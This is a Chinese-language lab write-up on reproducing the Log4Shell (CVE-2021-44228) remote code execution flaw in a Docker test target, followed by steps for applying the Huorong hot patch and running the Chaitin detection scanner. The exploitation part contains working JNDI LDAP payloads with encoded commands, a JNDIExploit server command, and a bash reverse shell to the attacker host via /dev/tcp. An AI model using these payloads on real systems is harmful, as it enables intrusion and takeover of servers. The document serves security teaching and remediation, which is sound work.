Apache log4j2 rce(CVE-2021-44228)


漏洞复现

靶机地址:10.211.55.8

CentOS主机,安装docker,使用docker部署靶机环境

攻击机地址:192.168.43.241

配置靶机

下载

1
docker pull vulfocus/log4j2-rce-2021-12-09

启动

1
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09

将靶机的8080端口映射为CentOS主机的38080端口

1.png

2.png

漏洞测试

漏洞验证

漏洞存在于hello目录下,直接请求此目录会产生如下提示

3.png

  1. 使用DNSLog验证漏洞是否存在

    4.png

  2. 使用hackbar工具修改请求包

    漏洞利用的参数为payload

    漏洞验证代码为${jndi:ldap://xxx.dnslog/exp}

    5.png

  3. 漏洞验证结果

    请求结果

    6.png

    DNSLog收到解析结果

    7.png

证明漏洞存在

远程命令执行

启动JNDIExploit工具

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.43.241

8.png

远程创建文件

  1. 首先进入docker靶机

    1
    docker exec -it 7e12c /bin/bash
  2. 查看/tmp目录下文件

    9.png

  3. 使用BurpSuite修改请求数据包并发送

    请求字段为payload=${jndi:ldap://192.168.43.241:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC9hYWE%253d}

    其中dG91Y2ggL3RtcC9hYWE%253dtouch /tmp/aaa命令经过base64+两次url编码形成

    10.png

  4. 查看JNDIExploit工具

    发现已经有数据流量通过

    11.png

  5. 查看靶机/tmp目录

    发现已经成功创建aaa文件

    12.png

GetShell

  1. 攻击机使用nc开启7777端口的监听

    1
    nc -l 7777

    13.png

  2. 编写反弹shell命令

    1
    bash -i >& /dev/tcp/192.168.43.241/7777 0>&1
  1. 修改请求包并发送

    请求字段为payload=${jndi:ldap://192.168.43.241:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI0MS83Nzc3IDA%252bJjE%253d}

    其中YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI0MS83Nzc3IDA%252bJjE%253dbash -i >& /dev/tcp/192.168.43.241/7777 0>&1经过base64+两次url编码形成

    14.png

  2. 查看JNDIExploit工具流量

    15.png

  3. 查看nc监听

    已成功获取反弹shell

    16.png


火绒热补丁修复

Linux

验证漏洞存在

17.png

18.png

部署热补丁

  1. 确保存在漏洞主机配置好java环境变量

    1
    vim ~/.bash_profile

    在文件末尾添加如下语句

    1
    2
    3
    4
    export JAVA_HOME=JDK的目录
    export JRE_HOME=JRE的目录
    export PATH=$JAVA_HOME/bin:$PATH
    export CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar

    19.png

    使文件生效

    1
    source ~/.bash_profile
  1. 火绒热补丁程序下载地址

    1
    https://bbs.huorong.cn/thread-96320-1-1.html
  2. 将火绒补丁程序放置于存在漏洞主机中,解压

    1
    unzip CVE-2021-44228-mitigator-Linux-v1.1.zip -d 1

    20.png

  3. 进入解压目录,授于.sh文件执行权限

    1
    2
    cd 1/
    chmod 744 CVE-2021-44228_mitigator.sh

    21.png

  4. 执行

    1
    ./CVE-2021-44228_mitigator.sh

    22.png

    出现上图说明存在漏洞,并自动安装了热补丁,无需重启

    注意:热补丁在重启主机后失效,重启后需重新运行程序

验证漏洞是否修复

23.png

经过较长时间等待后,发现无任何返回值,漏洞已不存在

24.png


长亭牧云本地检查工具

注意:本工具基于本地log4j2组件所属jar包版本进行检查,若使用上面”火绒热补丁修复”方案,使用本工具仍可检查到存在漏洞

下载地址

1
https://log4j2-detector.chaitin.cn/

根据不同类型主机选择不同版本下载即可

Linux

  1. 下载本地检查工具后,放置于需要检查的主机中,解压

    1
    tar xzvf log4j2_local_scanner_linux_amd64.v3.tar.gz

    25.png

  2. 执行

    1
    ./log4j2_local_scanner_linux_amd64.v3    # 默认为全部jar文件,其他命令参数参考此工具官方网站

    26.png

    程序会列出存在漏洞的jar包及其路径

    以上图为例:

    1. /root/demo/demo.jar中包含log4j-core-2.14.0.jar,属于存在漏洞的版本。此demo.jar为本地测试靶机环境,并且已通过“火绒热补丁修复”方案进行修复(此工具仍可检查到)

    2. 其他检查结果项为docker中使用的log4j-core-2.14.0.jar组件,需按照docker官方给出的修复方案进行修复(类似的,若业务系统中使用了某些开源软件或商业软件,具体修复方法应遵循开源社区或官方出具的方案)

---------------The End---------------
0%